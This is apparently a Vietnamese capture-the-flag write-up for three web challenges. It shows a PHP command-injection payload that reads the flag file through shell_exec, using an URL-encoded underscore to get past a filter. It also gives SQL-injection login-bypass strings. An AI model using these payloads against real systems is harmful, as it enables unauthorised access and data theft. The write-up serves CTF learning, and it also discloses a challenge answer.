## [Web Application] HEAD1 Sau khi down file .zip về và build docker, mình nhận ra trong Dockerfile có 1 đoạn như sau: ```dockerfile COPY ./flag.txt / RUN mv /flag.txt /flag_$(openssl rand -hex 10) ``` -> Copy file flag.txt vào root và đổi thành tên random với 10 kí tự hex, ví dụ như flag_f5a2b3c1d0 Về source code của chall ở index.php: ```php if (strpos($_SERVER['REQUEST_URI'], '_')) { die("no no no"); } if (isset($_GET['input_data'])) { $output = shell_exec("curl --head " . $_POST['input_data']); echo $output; } show_source(__FILE__); ``` Rõ ràng là đoạn code php trên cản ta nhập kí tự "_" vào URL (in ra "no no no") -> Chỉ cần URL encode là được Và curl --head để lấy HTTP header của URL, tức là chỉ cần 1 lệnh nào đó được truyền dưới dạng input_data thì sẽ được thực thi với đặc quyền là user :v (dài dòng quá) Ta thấy tham số input_data được check trong GET request, nhưng giá trị của nó lại được truy xuất từ POST request Payload của ta (khi chèn command injection với cat) sẽ là: ```successful! curl -X POST -d 'input_data=;cat /flag_*' http://45.122.249.68:20018\?input%5Fdata\= ``` ![](https://hackmd.io/_uploads/HyvdsU5q2.png) ``` => W1{ez_head1_huh} ``` *Hôm qua khi làm xong mình đã qua làm thử câu khó nhất và treo máy đi ăn nên đã quên submit lấy 141 điểm cho câu này T-T ## [Web Application] HEAD2 Source code của chall: ```php if (isset($_GET\['input_data'\])) { $output = shell_exec("curl --head " . $_GET\['input_data'\]); // echo $output; } show\_source(\_\_FILE__); ``` Mình nghĩ bài này cũng làm tương tự như HEAD1 vì chỉ thay input_data với request ở dạng GET thay vì POST nhưng mình chưa nghĩ ra thêm T-T ## [Web Application] DEJA-VU Đầu tiên mình nhập creds cho username với admin và password bất kì thì mình có được như hình: ![](https://hackmd.io/_uploads/rkkGyw5c2.png) Check source: + Ở news.php, khi đăng nhập nhưng username không phải "admin" thì sẽ hiện ra dòng thông báo "Only admin.." + Tại login.php, query có dạng: ```php SELECT * FROM users WHERE username='$username' AND password='$password'"; ``` + Và vì cần bypass cho đoạn password nên ta có payload như bên dưới ``` username: admin password: ' OR username = 'admin hoặc 'UNION SELECT username, password FROM users WHERE username='amin ``` Lúc này ta đã vào được news.php ![](https://hackmd.io/_uploads/ryOxrD59h.png) Để lấy được flag mình nghĩ phải lấy được thông tin từ information.schema tables hoặc columns hay đại loại thế nhưng các payload mình thử rởm nên chưa xong T-T (như hình dưới) ![](https://hackmd.io/_uploads/BJVjuv9cn.png)